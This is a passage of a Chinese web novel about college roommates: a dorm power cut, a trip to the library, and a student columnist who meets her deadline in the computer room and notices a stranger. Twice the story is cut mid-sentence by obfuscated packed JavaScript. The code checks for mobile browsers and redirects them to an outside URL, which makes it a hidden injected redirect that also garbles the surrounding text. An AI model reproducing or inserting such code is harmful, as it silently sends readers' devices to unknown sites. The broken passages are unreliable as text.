在我伸出手的一瞬间,她火速闭了嘴,窜到了马路的另一边,灵活度max。 十一月下旬还没有很冷,可一直生活在由空调制造出的恒温环境里的我们,无法接受宿舍断电。 “有没有搞错?这是要冻死人吗?”陈梦晓穿着长袖T恤,在客厅里走来走去。她连穿毛衣都嫌热,此时的抱怨没有说服力。完全不像我们几个,穿着薄毛衣在宿舍里瑟瑟发抖。 凌静宜保持着一贯的冷静,拎起手机开始给宿管科打电话:“能不能解释一下为什么会断电?什么时候能够维修结束?” 电话那边不耐烦地回复“谁知道怎么会断电,等着吧,我们有空就会修的”,凌静宜彻底愤怒了,她像一只炸毛的狮子一样来回走动,愤恨地抱怨:“他们这是什么态度?!我要投诉!有谁知道投诉电话?” 花着五星级酒店的费用却得到连锁经济酒店的服务水平,不管谁都会不爽。我理解她。 相比较愤怒,此刻,我更多的情绪是惆怅:笔记本电脑只剩下5%的电量,黯淡的屏幕和闪烁的信号灯都提示我,电脑即将罢工,而我的稿子只写了一半。我承诺《N.Z》的编辑今天交稿,如果没有出现停电这个突发事件,在编辑下班前把稿子发出去肯定没问题。 作为一个新近红得发紫的“男性”专栏作家,我一直非常有职业操守。在我的工作计划上,赫然用红色水笔写着“周三5点前交稿”,对,我从不拖稿。被人一直催的感觉就像一直欠人钱,让我很不舒服。我尽量避免被人催。 几乎绝望地盯着我的电脑屏幕,为了回来赶稿,我还翘了一节基础英语。基础英语是小班上课,搞不好现在我已经上了美女老师的黑名单。不知道期末综合评分她会不会揪我的小辫子,给我的平时成绩画上一颗又圆又亮的零蛋。 “我们该怎么办?”刘小叶看着冰箱说:“还有很多零食在冰箱里,坏了学校赔不赔啊?” 凌静宜在客厅里走来走去,继续拨打电话,宿管科的电话一直“无人接听”,凌静宜放下电话,咬牙切齿地说:“他们肯定是拔了电话线,son of bitch!” 别问她怎么知道,我不耐烦接电话时都会关机,她肯定也一样。我妈找到我时,我都会一脸无辜地说“手机没电了”。啊!这是我喜欢Iphone的原因之一,它的电池续航能力太差,没电对它来说是常态。找借口完全不违和,必要时候它会“恰到好处”没电。 凌静宜从LV包包里拿出另一个手机。我一直认为这是她的秘密武器,就像机器猫的口袋一样,只要掏出一个法宝,就能解决所有问题。 “Jacob,我的寝室断电了,我需要有人在一个小时内把电路修好。” 其实,我们对那个叫Jacob的人抱有无限好奇心。在见到凌静宜的第一天,就听见她打电话让Jacob弄台饮水机和改建宿舍。真好奇他是何方神圣,更好奇他跟凌静宜的关系,听上去他们俩应该不是情侣关系,反而像是上下级。 等待很无聊,我们总要找点事情打发一下无聊。 我看向刘小叶,炽热的八卦之火在她的眼睛里熊熊燃烧着。我决定不问了,只要有刘小叶在,就没有问不出的八卦,而我出马谁知道会不会弄巧成拙。 “静宜……”刘小叶轻轻地吞了一下口水,小心翼翼地问:“那个……那个Jacob是谁呀?他好像很有办法哎……” 我等着凌静宜喷射出毒液,像在空气中回旋着的壁球一样裹着疾风快狠准地飞向它的对手,但接下来却让我们集体大跌眼镜。她只是把目光从刘小叶的脸上挪到我的脸上,仿佛她知道我跟刘小叶一样有着异常旺盛的八卦心,“我的秘书。有什么问题吗?” 秘书?!我们的嘴巴张得很大:有谁听说过大学一年级的学生有个秘书?而且还是一个无所不能的秘书? “所以你真的有个组织在卖毒品?”刘小叶不知道哪根筋搭错了,居然脱口而出问了这么个蠢问题,等我反应过来,已经来不及捂住她的嘴了。 凌静宜的眼睛睁得极大,看上去像两颗圆溜溜的龙眼,“刘小叶,我真想把你脑袋敲开,看看里面到底装了些什么。” 我们还是把事情搞砸了,早知道这样,还不如我直接问了。 “以前你太神秘了,所以我们私底下讨论过你每天都在干什么……”我有点迟疑,还是微弱地辩解了,“卖毒品只是个无聊的笑话。” 凌静宜一副哭笑不得的表情,“你们的想象力也太丰富了……我只是开了一家小公司,实践我从书里学到的东西。” What’s the hell? 我没听错吧,凌静宜是说她开了一家公司?只是?!一家小公司??! 感觉一颗原子弹在我的头顶直接爆炸,轰得我耳鸣目眩……她们几个表情大同小异,不用问,他们肯定跟我一样震惊。此时此刻,我的脑海里浮现出五只被飞机吓傻了的羚羊,风起云涌四处乱窜。 “接下来你们还打算问什么?”她走向食品柜,拿出一大瓶印着花花绿绿英文的饮料。 我瞄了一眼,顿时喉咙里升腾起对它的无限渴望,身体的每一个细胞都叫嚣着“我想喝,我想喝……”。这种饮料太给力了,即使只喝过一次的人都会对它念念不忘。它的口感爽利,在喝下去的瞬间击中身体里的某个渴望之源。更何况我以前一直都喝。这种饮料只有在那种店员比顾客还多的进口超市才有得卖(以前司机每周开车送我和我妈去M市最大的进口超市采购,后来我妈放弃了逛进口超市的爱好,Amanda每周采购两瓶),到了W市之后,我实在懒得穿越大半个市区,只能腹诽进口超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997351|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市居然不提供线上订购和送货服务。迫于无奈,我改喝健康温和但毫无刺激感的酸奶,这是除了碳酸饮料之外的唯一选择。 凌静宜使劲拧了两次瓶盖,没拧开。她的电话响了。她把饮料放在了桌上。 “我帮你拧吧。”她微微点了头。我迅速把饮料抱在了怀里。一看就知道她不常喝这种饮料,它的打开方式有些奇葩,必须先向反方向拧一下,然后才能顺利打开,这是我经过数次的摸索得出的规律。 不出意外,我轻易地打开了。给凌静宜倒了一杯之后,我火速给自己倒了一杯喝下去。仿佛一下子被击中心脏,猛地打了颤之后向四肢百骸扩散出去——给劲儿。 刘小叶看着我的表情,狐疑地倒了一杯灌下去,然后我知道她被shock到了,这种饮料就有这么神奇的效果。接下来,就跟传染病一样,剩下的每个人都带着怀疑的神色喝了一杯,然后集体被它征服。幸好它不会让人上瘾,不然我真要认为它是添加了罂粟一类的物质。我们全都沉醉在这无比美妙的劲爽当中,压根没有听到凌静宜的电话内容。 “修不好?这是什么意思?”凌静宜不耐烦地在一个直径一米的圆圈范围内来回走动。她打电话的时候必须走来走去,不然她好像没办法继续下去,“1个小时不够?那我们是在这里等着吗?” “是宿舍总线路的问题,没有那么快能修好。”电话那头简洁地汇报电工答复他的情况,“电力恢复至少要5个小时以后。” 凌静宜看了一眼墙上的钟,现在是下午2:57,也就是说运气好的话,晚上八点以后会有电。 她叹了口气,说:“好吧。” “电力要八点以后才能恢复……”她顿了顿,发现那瓶饮料已经被喝掉了一半,她端起杯子,一脸不相信的表情,“有那么好喝吗?” 啊哈,原来她没喝过。 我们集体等待着那个电流击中她的时刻,可她喝下去后非常平静,说了句:“口感不错,很刺激,不过酸度有点高……”。看着她面不改色的样子,让我怀疑我们喝的是否是同一种饮料。 还要等待漫长的五个小时,我们都不打算待在宿舍里。 凌静宜问:“我去咖啡馆,有人一起吗?” 我们集体摇了摇头。她依次从每个人脸上扫过,发现没有人改变主意之后,拎起包走了。 凌静宜是咖啡狂人,一天至少三杯咖啡。而我脆弱的小神经,即使在上午十一点喝一小杯咖啡,等待我的将是一整个不眠之夜。除非我打算通宵赶稿子,否则在这个时间喝咖啡,绝对是脑子进水。 据我所知,许苑薇对于一切能够形成上瘾机制的事物都保持着高度警惕。在她的世界里,咖啡就是香烟的平替;而刘小叶,觉得喝咖啡纯粹是找虐,苦兮兮的,加糖加奶的卡布奇诺或摩卡勉强能叫饮料。对她来说,咖啡远不如奶茶。 “我们去图书馆吧?”许苑薇推了推鼻梁上的眼镜,提出建议,“那儿有空调。” 郑筱和陈梦晓马上同意了,我稍微犹豫了一会儿,也表示了赞同。其实对我们而言,能不能学习不是最重要的,哪儿有空调才是最要紧的事儿。 刘小叶犹豫了片刻,说:“我们要不要先吃了饭再去?不然四点多还得再出来……” “这个点去都不一定有位置。”郑筱打断了刘小叶,“图书馆的位置可紧俏了。” 我跟刘小叶两个不常去图书馆的人惊呆了,真没想到一个图书馆竟然如此火爆。大家不应该借了书就走吗?我从开学以来只去过一次图书馆,还是为了借一本辅导书(虽然人是挺多的,但图书馆有六层,少说也有好几百个位置)。我瞄了一眼刘小叶,从她一脸不可置信的表情判断——嗯,她肯定一次都没去过。 刘小叶看向许苑薇,后者异常坚定地点了点头,她无可奈何地叹了一口气,同意马上去图书馆。 把电脑塞进背包里,我开始缠电源线。刘小叶在我旁边晃来晃去地催促:“小西,你快一点,去图书馆还带什么电脑啊?” 我没搭理她,自顾自把东西收拾好。裹上雪白的毛线围巾。 她兴高采烈地提议,“图书馆应该有期刊阅览室,你跟我去看杂志打发时间吧。” 我还没来得及拒绝,就听见陈梦晓在门口喊了一句:“你们俩再不出来,我们就不等你们了。” 刘小叶很没义气地丢下了我,一溜烟跑了出去。 16. 第 16 章 在去图书馆的路上,我们七嘴八舌讨论排队进图书馆的概率有多大。我们有三个答案,我和刘小叶投票概率为零,许苑薇和郑筱认为百分之百,而陈梦晓则觉得一半一半,50%。 刘小叶就是有这样的本领,你以为她在专心致志地做一件事,其实她分着心在干一件别的。比如现在,她刚刚表完态,就低低地嚷了一声:“哇塞,没想到铭盛除了三剑客之外还有别的帅哥。” 随着她的眼光,我看到了几个男孩子,其中一个穿着白衬衫的男生,斯斯文文的,跟陆亦和叶翔的帅不一样,他周身透出一种书卷气,一眼看过去就知道是文科男。我们区分文科男和理工男的方法简单粗暴却无比好用:穿白衬衫的多数是文科生,穿格子衬衫的大部分是理工科。 “我跟你们说,这种所谓的帅哥都可拽了,特别把自己当回事。”郑筱一直抬着头看树叶看蓝天,突然插了话,“所以别理他们就对了。” 话音刚落,那三个男生朝着我们走了过来,白衬衫直直地走到刘小叶面前问:“同学,请问图书馆怎么走?” 刘小叶显然没料到帅哥会跟他说话,脸刷的一下红了,我听见她低声地说了一句,“哎呀,他跟我说话了。” 我默默翻了个白眼,刘小叶这花痴属性还能不能改改了。 在她手忙脚乱地给人指路的时候,白衬衫身边的男生一直盯着郑筱,眼光热烈而大胆,“郑筱,好巧!明天下了课一起去排练?阳台那里的台词,我想跟你再排一排。” 啊哈……原来他就是“传说中”的罗密欧啊。 郑筱慌忙摆摆手,“我约了她们吃饭,6点半我会准时到的,学长。” “罗密欧”同学有些失望,立刻又振奋了精神,他问:“你们也去图书馆?不如一起?” “不是,我们去东大门吃小吃。”郑筱回复地又快又急。 刘小叶还来不及错愕,就被郑筱一把拽了过去,给了她一个眼色。她俩神色复杂,眼神闪烁,刘小叶低声说了句“你犯错了……”郑筱才反应过来这个借口简直烂透了。通往图书馆的大路左边有条分岔路,一直往前走就能到东大门,那边确实有寥寥可数的几家小吃摊点,可都要到晚上7点半之后才出摊。 我们只能快步硬着头皮往前走,没想到刚走到岔路口,就听到一声“哎……秋同学……秋同学……”我还没有意识到他叫的人是我,一个大男生从后面狂跑着冲到我们面前,我们几个面面相觑,怀疑他是不是认错了人…… 他盯着我,一边喘着气一边说,“你们走得还真快,秋学妹,我还以为认错认了,原来真的是你啊……” 我愣了一下,这是谁?我见过吗?他怎么会认识我?我的脑部搜索系统似乎处于当机状态,突然脑子里电光火石一样闪过一个名字——易侃,然后一头黑线的小人在脑子里来回蹦跶。 “真巧,我今天从本部过来,路过女生楼时没碰到你……”他搔搔头,有一点不好意思,“你还住在A栋502吧?” “对。”我脸不红心不跳地撒谎,“不好意思,学长,我们赶时间。如果你没什么事儿,我们就先走了……” “哦,那……再见啊……”在他的眼睛里,我看到了一点点不甘心,那又怎样,他没有理由继续跟着我们。 她们几个看我的眼光里传递着复杂的信息,尤其是刘小叶,她的眼神分明在说“秋学妹?住502?没人追?周小西,你最好给我想清楚了怎么交代……” 我装作没有看见的样子,仰头盯着一片树叶从树上落下来,慢悠悠地飘到地上。 今天出门前肯定是忘记查黄历了,看我和郑筱的衰样就知道,我默默哀叹了一句,早知道还不如待在宿舍里了…… 我从来不会后悔,因为后悔改变不了任何事。但去图书馆,是可以允许后悔的一件事儿。 几乎所有人都认为铭盛的图书馆是个好地方,实际上它也确实是个好地方。可对我来说,只要是图书馆,那它跟以前我去过的图书馆都一样——我似乎中了一个魔咒,所有的图书馆对我来说都是催眠圣地,只要进了图书馆,不出十五分钟,我总能睡着。 我第一次发现自己会在图书馆睡着,是在读初中的时候。李离意外发现学校图书馆里竟然有期刊阅览室,兴高采烈地把我拖了过去。她对校园杂志有一种莫名的好感,在我们一起读书的几年里,她最爱的读物是《少男少女》。这应该是除了漫画之外,她唯一愿意读的课外书,我猜想,大概因为杂志是消遣读物,读完了什么都记不住是正常的。她拿了最新一期《少男少女》坐在靠近门口的位置,我百无聊赖地从一排排架子前走过,居然在书架上发现了《萌芽》,于是我拿了两本欢快地坐到了李离对面。刚翻了两三页,我感觉眼皮很重,然后就睡了过去…… 在我们回家的路上,李离脸上现出幸灾乐祸的表情,“第一次哎,第一次你会在看杂书的时候睡着。啧啧啧,《萌芽》那票编辑老头子要是知道了,还不得哭死,居然有人看睡着了,这得有多难看啊……哈哈哈哈……” 夏天独有的火烧云在天空里炙热地释放,把清纯的蓝天变幻得无比妖娆,但它跟李离脸上的五彩斑斓比起来根本不算什么。 自此之后,这件事成了笑柄,每次只要李离说不过我,就会把它拿出来作为打击我的终极武器,屡试不爽。 我对这件事情耿耿于怀。怎么可能?!我居然会看杂志睡着!我居然会在图书馆睡着!我居然当着李离的面看着杂志在图书馆睡着!我还真不信这个邪了,找原因的方法其实很简单,我采用了排除法。 首先,我去书报亭买了一本最新的《萌芽》,在我房间的沙发上躺着,半个小时不到翻完了整本,并没有睡着。 然后,我趁着李离去运动会上欢呼的机会,自己去了一次图书馆。再一次被老师摇醒了。我尴尬地发现依旧睡了一脸印子,嘴角的口水痕迹向我宣告睡眠时间不短。图书馆老师万分关心地说:“小同学,虽说初三升学压力大,可晚上熬夜学习效果不一定好啊。还是要注意劳逸结合。” 除了期刊阅览室,综合阅览室、文史哲阅览室和外文阅览室我都试过,无一例外。找不出原因,无论我精神多么饱满,借阅的书籍多么有趣,只要到图书馆,我就会睡着。试了各种方法之后,我默默认定初中图书馆有毒,还是催眠毒药。 上高中的第一天,我办完入学注册就去了学校图书馆,继续在各个阅览室快速入睡。后来周末我去了市里图书馆,依旧如此。似乎我的DNA里被下了一道图书馆强制睡眠命令,我甚至一度相信怪力乱神——图书馆里面的书籍和我八字不合。于是我自带书去了图书馆。可无论什么书,在别的地方读得酣畅淋漓,只要带进图书馆,看不了两页必然睡着。 我不得不承认,也许是有些玄,和我八字不合的是图书馆本身。 “小西,你想什么呢?”刘小叶喊了一声,把我拉回了现实,眼前一只肉乎乎的手在不停晃动。 我打开她的手,“晃什么晃,我没瞎……” 她呼出一口气,“吓死我了,喊你半天没反应。老实交待,刚才那个男的是什么来路?” “新生接待的学长……” “然后呢?” “没了。” 刘小叶还在等待下文,过了三十秒她才反应过来,“什么?!没了?那个男的明明对你有意思……” “终于到了!”许苑薇发出一声欢呼,打断了刘小叶的逼问。为了躲开“罗密欧”他们,我们硬生生走到东大门,再从人工湖那边绕过来,足足多走了半小时的路程。 上次来借书是在晚上,掩映在夜色的图书馆像是蒙着面纱的美人儿,看不分明。加上事先在网上查好了书本馆藏位置,我冲进图书馆借了书就走,并没有对这座号称W市藏书最多、设备最先进的图书馆仔细打量,自然也就没有任何感觉 而现在是下午三点四十分,散漫的夕阳照射在这座宏伟的建筑物上,炫目且震撼。六层楼设计,面积44000平方米,雄踞校园西北角。就算单从建筑物的外观来看,它也足够值得铭盛骄傲了,外墙洁白无瑕,顶楼的玻璃顶在阳光下熠熠发光,外围是人工湖,波光粼粼,图书馆倒映在湖面上,像极了水底下有一座同样伟岸的建筑。我怀疑铭盛把所有的建校工期都放在了图书馆上,其他地方仍然呈现出在建工地的状态,而图书馆却以巍峨的姿态睥睨整个铭盛校园。 站在图书馆前,深深吸了一口气,就把它当作一次参观吧,我在心里默默对自己说。 走进图书馆,秋日的阳光透过大落地窗照射进来,椭圆形充满设计感的罗马柱让人仿佛置身于大教堂,一瞬间回到了欧洲旅行的日子。 一楼的正中有典籍书库和第一第二自修室,西区是行政办公区、信息服务部和采编部,第一学术报告厅在东区,东南侧是第二学术报告去,二楼是总服务台、展览区、公共检索区和社科图书借阅室,三楼是外文阅览室和科技图书借阅室,四楼是电子阅览室和特藏文献阅览室,五楼是工具书阅览室和计算机房,而六楼是期刊和过刊阅览室。 许苑薇去了自修室,郑筱去了三楼的外文阅览室,陈梦晓和刘小叶去了六楼。而我从一楼晃荡到六楼,发现所有的图书阅览室里都没有插口,外接电源在图书馆根本都没法用。我看一眼手机,已经快四点了,难道今天注定交不了稿? 我恨恨地想:连外接电源都不让用,谁会用这种方式火烧图书馆?这些老师的脑子到底是什么构造?突然脑子里灵光一闪,机房肯定有电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997352|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我来不及等电梯,一路爬楼梯到了五楼。 出示了学生证之后,在老师的示意下套上鞋套,进入机房。机房里的人很多,我一直走到最后两排才有空位置。 走到最后一排的角落,已经有人坐在那里了。学校的电脑被他挪到了桌子上的最左边,笔记本电脑以45°角放在右边,他整个人侧坐着面对笔记本,没有用鼠标操作,手指在电脑触摸板上滑动。不像在机房里看电影的人,他没有带耳机。他很投入,压根没有注意到旁边有人走过。 我走到他右手边隔了两台电脑的位置上,学着他的样子,把笨重的台式电脑推到角落里,钻到桌子下把手提电脑的电源插上,然后把网线接到笔记本上。 不知道为什么,他专注的表情让我不由自主想多看他两眼。夕阳从窗口照射进来,他的侧脸若隐若现地在阴影里看不分明。他的眼睑往上抬了一下,正对着我的方向,若有所思。我的心猛然跳了一下,脸上灼热。我赶紧收回目光,盯着打开的文档。他似乎什么都没察觉,很快低下头在键盘上敲打。 文章只剩下个结尾,我强迫自己盯着屏幕,可不知不觉眼光移到了他的脸上。第一次,我对人类的另一种性别有了朦朦胧胧的好感。以前他们对我而言,就像是生活在银河系之外的另一个物种,引不起我的一点兴趣。 我拍拍自己的脸,小声嘀咕:周小西,你犯什么花痴,赶紧写稿子。 我深吸一口气,开始赶稿。 一切顺利,思路出乎意料的清楚,但是写完之后却发现,原先自恃甚高的男女主人公居然没有像往常一样互相看不顺眼,故事的走向也脱离了我原先的设想——谁也不服谁的主角在最后一次的较量互设了局中局,而没有堪破的那个倒在了自己最熟悉的术法阵中,将讽刺意味拉满——现在笔下的两人一笑泯恩仇,九点档合家欢剧情是怎么回事!笔下的主人公仿佛衍生出了自己的个性,他们只是借着我的手书写属于他们自己的故事。 陆星洺的笔下常见的是嘲讽是暗喻是特立独行,主人公性格底层是英雄主义的悲情色彩。可现在,happy ending!所有这些不寻常的痕迹让我惴惴不安,似乎偏离了陆星洺的标志性风格。我不知道读者们会不会掀桌子骂人。 我抬起头看了一眼时间,5点还差10分钟。重新修改是不可能了,况且看上去……还算不坏……在挣扎纠结中又过去了几分钟,Deadline是最后一根稻草,算了,就当是尝试新的写作方式,我自暴自弃地安慰自己。迅速把稿子添加为附件,输入熟悉的邮件地址,按下发送键——4点59分47秒,我长长地呼出一口气,总算赶上了。 手机震动了一下,一条微信在屏幕上显示:“小西,去吃饭?顶楼有个小餐厅。” 我微微偏过头去看,他还坐在那,清秀的眉头微微皱起,表情很严肃。有一股热浪从身体里升腾,脸颊烫得要命,我听见自己的心猛烈地跳动了几下。我这是怎么了? 手机又震动了几下,“你在哪儿?我们过来找你?” 我迅速回了一条,“我还不饿,你们先去吧。” 他一直没抬头,眼睛盯着电脑屏幕。我望着他,脑海里突然涌现出无数的灵感,像一条条灵动的小蛇在脑子里东西乱窜。我赶紧打开一个新的文档,还没等我思考,文字就不间断地流淌出来。等我停下来的时候,感觉自己快要虚脱了,额头上布满了细密的汗水。 “我们准备回宿舍了,你下来吗?” 我看了一眼手机,已经9点半了。他仍然望着电脑屏幕,眉头舒展开来,嘴角噙着一丝笑,很好看,莫名的,我的心情很好。 手机又一条微信消息,刘小叶在催促,我回了一条,“等我五分钟。” 我无奈地开始收拾电脑,从他身边走过时,我侧过头悄悄瞄了一眼他的电脑屏幕。一片清澈无边的湖水旁边,站着一个白衣侠客,衣角随风轻轻摆动……应该是个游戏界面。 他抬起头,揉了揉肩膀。我慌忙挪开目光,心虚地低下头,迅速走了出去。 回到寝室,刘小叶缠着我,企图探究那个不走运的追求者。我盯着她,“没戏。不要问了。他没戏,你也是。”我扬了扬手里的书,“我要看书了,再吵,我就把你撵到客厅去。” 事实上,我打开书之后就在那发呆,一页书怎么也翻不过去。要是李离看到我这个样子,估计会大吃一惊——通常都是我看完一本书,她才翻了个开头。 我不知道他的名字,不知道他读哪一个系,不知道他是不是整天沉迷在游戏里不能自拔……可他的脸却经常出现在我面前。有时候还会出现在我的梦里,他对着我笑,上扬的嘴角,露出洁白的牙齿。温暖的阳光从他身后照射过来,光芒万丈。 17. 第 17 章 在新一期《N.Z》发售之前,我一直战战兢兢。 如果反响不好,他们会不会直接停掉我的专栏?我会不会被读者骂得很惨?害怕的情绪像流感,从我的脑子流窜到鼻腔,再感染喉咙。我整个人感觉都不太好,甚至有时候,我能清楚听见宣判死刑一样的丧钟。 在校园里,偶尔有人拿着《N.Z》从我面前经过,我需要非常克制才能制止自己想向他们打听对陆星洺新章节看法(是不是觉得大团圆结局是最大败笔)的冲动。如果听到有人讨论陆星洺,我恨不得凑过去听他们在说什么。 那几天,连陈梦晓都发现我不太正常,“小西,你是不是要来姨妈了?不会是生理期前紧张吧?” “专业术语是经期紧张综合症。”凌静宜看着书纠正了她。 我含糊着敷衍了过去。 直到《N.Z》的编辑发邮件说他们收到了大量读者来信,大多数表达了对新篇章的喜爱,一直悬着的那颗心脏才安然回到了我的胸腔。 《N.Z》的销售额据说上涨了3%,我对这个数字完全没有概念,只是模模糊糊地知道这大概表示有很多,嗯……很多很多的人喜欢我写的故事。编辑热情洋溢地提到了“草蛇灰线,从前到后无比精彩的伏笔,男女主之间史诗般的契合度预示着他们充满宿命感的人生脉络,果然是灵魂伴侣”以及“读者们十分期待陆先生接下来的作品”。 我脑子里充满了关于宿命感的疑问,忍不住去翻自己的稿子,恨不得化身福尔摩斯,通过蛛丝马迹解读自己的作品,甚至怀疑是否我对自己的作品有所误解:我怎么就没看出来男女主之间存在宿命感?至于默契度,聪明的人不都是那样,不需要把话都说得那么明白才懂吧?难道互怼和总认为自己比对方棋高一着也能算默契了?另外,有默契就一定预示着他们会成为一对儿而不是成为互相信任的伙伴?我的确是埋了不少伏笔,可也不是为了男女主感情线铺陈的啊! 更何况,男女主人公只是冒出了惺惺相惜的苗头,吃瓜群众们就已经快脑补出一场荡气回肠死生契阔的绝世爱情又是怎么回事儿?! 我甚至怀疑,读者们所喜欢的,到底是我创造出来的“哈姆雷特”,还是他们心中的“哈姆雷特”? 盯着编辑发来的邮件里的那句“你知道这意味着什么吗?这意味着你将成为真正的畅销作家”时,脑子里一阵发懵:诚然,被承认被喜欢是一件让人开心的事情,但“真正的畅销作家”,那是什么意思?是说我会像阿加莎一样不断写出让读者觉得“她到底长了个什么样的脑子”的作品,还是像J·K·罗琳一样写出所有人都喜欢的系列作品,又或者像乔治·R.R·马丁一样写出恢宏的作品拥有深远的影响力呢?畅销书作家,这个词在我的脑子里是一个抽象模糊而神圣的概念。 我转过头问刘小叶对畅销作家的看法,她正趴在床上翻着新一期的《漫画世界》,漫不经心地回答我:“你是说筱原千绘、游素兰还是Clamp?” “他们是谁?”眼角余光瞟到她的床上扔着一本全新的《N.Z》,一阵寒意从脚底冲向头顶。这个故事的主角原型是刘小叶,虽然是升级版本的刘小叶,可八卦热爱美食和自来熟人来疯属性只是模仿没有超越……她不会尖叫着喊“这个叫袁素的怎么跟我这么像”,然后对我严刑逼供吧?! 幸好刘小叶压根没注意到,她猛然翻身坐起来,像看外星人一样看着我,“你没看过《魔卡少女樱》?《天是红河岸》也没看过?” 我迟疑地摇了摇头,中学时期也看过不少日本文学作品,但这两部从来都没听过。看着她不可置信的眼神,我突然觉得自己非常孤陋寡闻。 刘小叶立马从床上蹦起来,拉开书桌的抽屉,一顿狂风骤雨式的翻找,一边翻一边问:“小西,你高中都在干嘛?这么经典的漫画居然都没看过!”她把好几册漫画举到我面前,上面赫然印着《天是红河岸》,“这可是我的压箱宝贝,一般人我才不借给她。” 在她殷切的目光下,我只能勉为其难地接了,顺便问:“小叶,漫画和《N.Z》哪个更好看?” “什么《N.Z》?”她一脸茫然。 我指了指她床头扔着的书,她瞄了一眼之后很随意地回答我:“啊……那是许许的,她忘记拿走了。” 我很识趣,趁着刘小叶什么都没发现之前终结了这个话题。 接下来几天,我有些神经质地关注她们几个的阅读偏好,凌静宜除外——就算她读爱因斯坦的相对论和天体运动学什么的,我都不会感到惊讶。不过昨天上课回来之后,她在房间里翻箱倒柜了半小时,问我们:“有谁看见过我那本《心理学与情绪控制》”,我还是受到了惊吓——她还需要情绪控制?那我们中的大多数早就该进精神病院了。 更诡异的是,那本书第二天出现在了意想不到的地方。 事情是这样的:我找许苑薇借金融学作业,她恰好不在宿舍,让我自己去房间拿。刚进门,我就被不知道什么东西绊了一下,往前一个踉跄撞到了桌角,桌子上原本摞得整整齐齐的一叠书瞬间东倒西歪。最上面的高等数学课本斜着跌下来,露出《心理学与情绪控制》,它下面是一本崭新的《N.Z》,露出一个角,有一页被折了进去。 我手忙脚乱捡书,重新把书码好。书桌上摊着一本《外国英文诗歌赏析》,扉页上端端正正地写着郑筱的名字。除了一瞬间的诧异之外,我觉得没有什么值得深入探索的必要——毕竟书非借不能读,而骑驴找驴的事儿也不是发生了一次两次。 其实“观察阅读偏好”这件事本来就很无聊,我就算知道了她们在读什么书,也无法对标他们对陆星洺的看法。我装作不经意把他当作一个话题抛出来,除了许苑薇表达了对Happy ending的困惑之外,没有人对陆星洺和他笔下的女主角有任何的揣测与幻想。也许在每个人的身边,都有一个像刘小叶那样的同学吧。又过了几天,我彻底把这个抛到了脑后,毕竟我的人生里除了怀疑之外,还有很多别的事情。 作为故事原型的刘小叶,压根没有作为主人公的自觉,她依旧每天下了课之后吃零食看漫画,偶尔嘟囔两句不明白为什么大家会喜欢像《N.Z》这种杂志——已经有好几个高中同学向她按头安利了。后来我才知道,刘小叶连青春小说都不看,理由是“字那么多,看着得多费劲儿啊”。 十二月初的W市,天气阴晴不定,像极了闹脾气的小女生:明明上午还是晴空万里,吃午饭的时候就瓢泼大雨。加上温度忽上忽下,跟坐过山车一样惊喜刺激。学校里穿什么的都有:连衣裙加外套,短袖T恤牛仔裤,上身羽绒服下身短裤,毛衣卫衫……十二月的铭盛校园,一天四季。 我是极度怕冷的人种,这个季节我都是毛衣大衣往身上招呼。可正午却热得恨不能把袖子都剪了。每天出门前,我都无比纠结,到底是早晚被冻死,还是中午被热死。斗争的结果往往是——热了还能靠脱衣服,冷了就只能挨着,还是多穿点出门吧。 凌静宜跟我是完全相反的人种,我怀疑就算冰天雪地的隆冬季节,她也依然会穿着美丽的裙子,在冷风中摇曳生姿。 我一直在想,我们宿舍一起出现,视觉的冲击力大概不是一般人能坦然接受的:来自西伯利亚的我,来自亚热带地区的凌静宜和陈梦晓,来自季风性气候带的刘小叶和许苑薇,外加上身西伯利亚下身亚热带的郑筱——简直是季节大聚会。 今天早晨,太阳依然迷惑性露脸。还没到中午,突如其来的一场雨,任性骄傲地大力泼洒。 郑筱的英文专业课从十点开始,她九点四十分从宿舍出来的时候,天空蓝得跟刚刚水洗过一样,悠然地飘着几朵白云。它成功地迷惑了她,让她误以为就算下雨,那也是下午以后才会发生的事儿。 郑筱叹了口气,本想在教室里等着雨停,可雨越下越大。 再拖下去,食堂里连渣都不会剩下。那些男生简直像恶狼一样,他们分分钟可以把食堂里所有的食物扫荡殆尽。有一次我们亲眼看见一个男生一口气吃了六个大馒头和两份荤菜,刘小叶惊愕地看向陈梦晓——“他比你吃得还多”,而我则惊呼“我们是在埃塞俄比亚的食堂吧?”。总而言之,如果在食堂开门的半小时内还没有抵达,那就可以放弃中饭或晚饭了。 手机上刘小叶的微信跳出来,“我们今天去第二食堂,要等你吗?” 郑筱快速打出一行字,“不用,我从教室直接过去。” 第二食堂离她上课的地方不是很远,郑筱抬起头看看天,心想跑得快一点,应该不会湿透吧? 她把书顶在头上,以最快的速度向外冲。实际上,她最快的速度比走路快不了多少。陈梦晓经常嘲笑她,“郑筱,你是蜗牛投胎的吧”,思考了三十秒之后,她严肃地更正:“应该是乌龟”。我们集体笑得四仰八叉,形象全无,顺过气之后开始讨论蜗牛和乌龟到底谁更慢。 努力奔跑了十分钟之后,她终于看到了食堂的大门。原本看起来要吞噬整个天地的大雨已经收敛了气势,不像之前密密麻麻的水线如绳子一般从天空直直地扔下来,不过天空依然暗沉得很,让人的心情都跟着压抑。 郑筱放慢了速度,她跟我一样,估计身体里根本没长运动神经这个东西。雨已经小了很多,可她已经被淋得湿嗒嗒的。 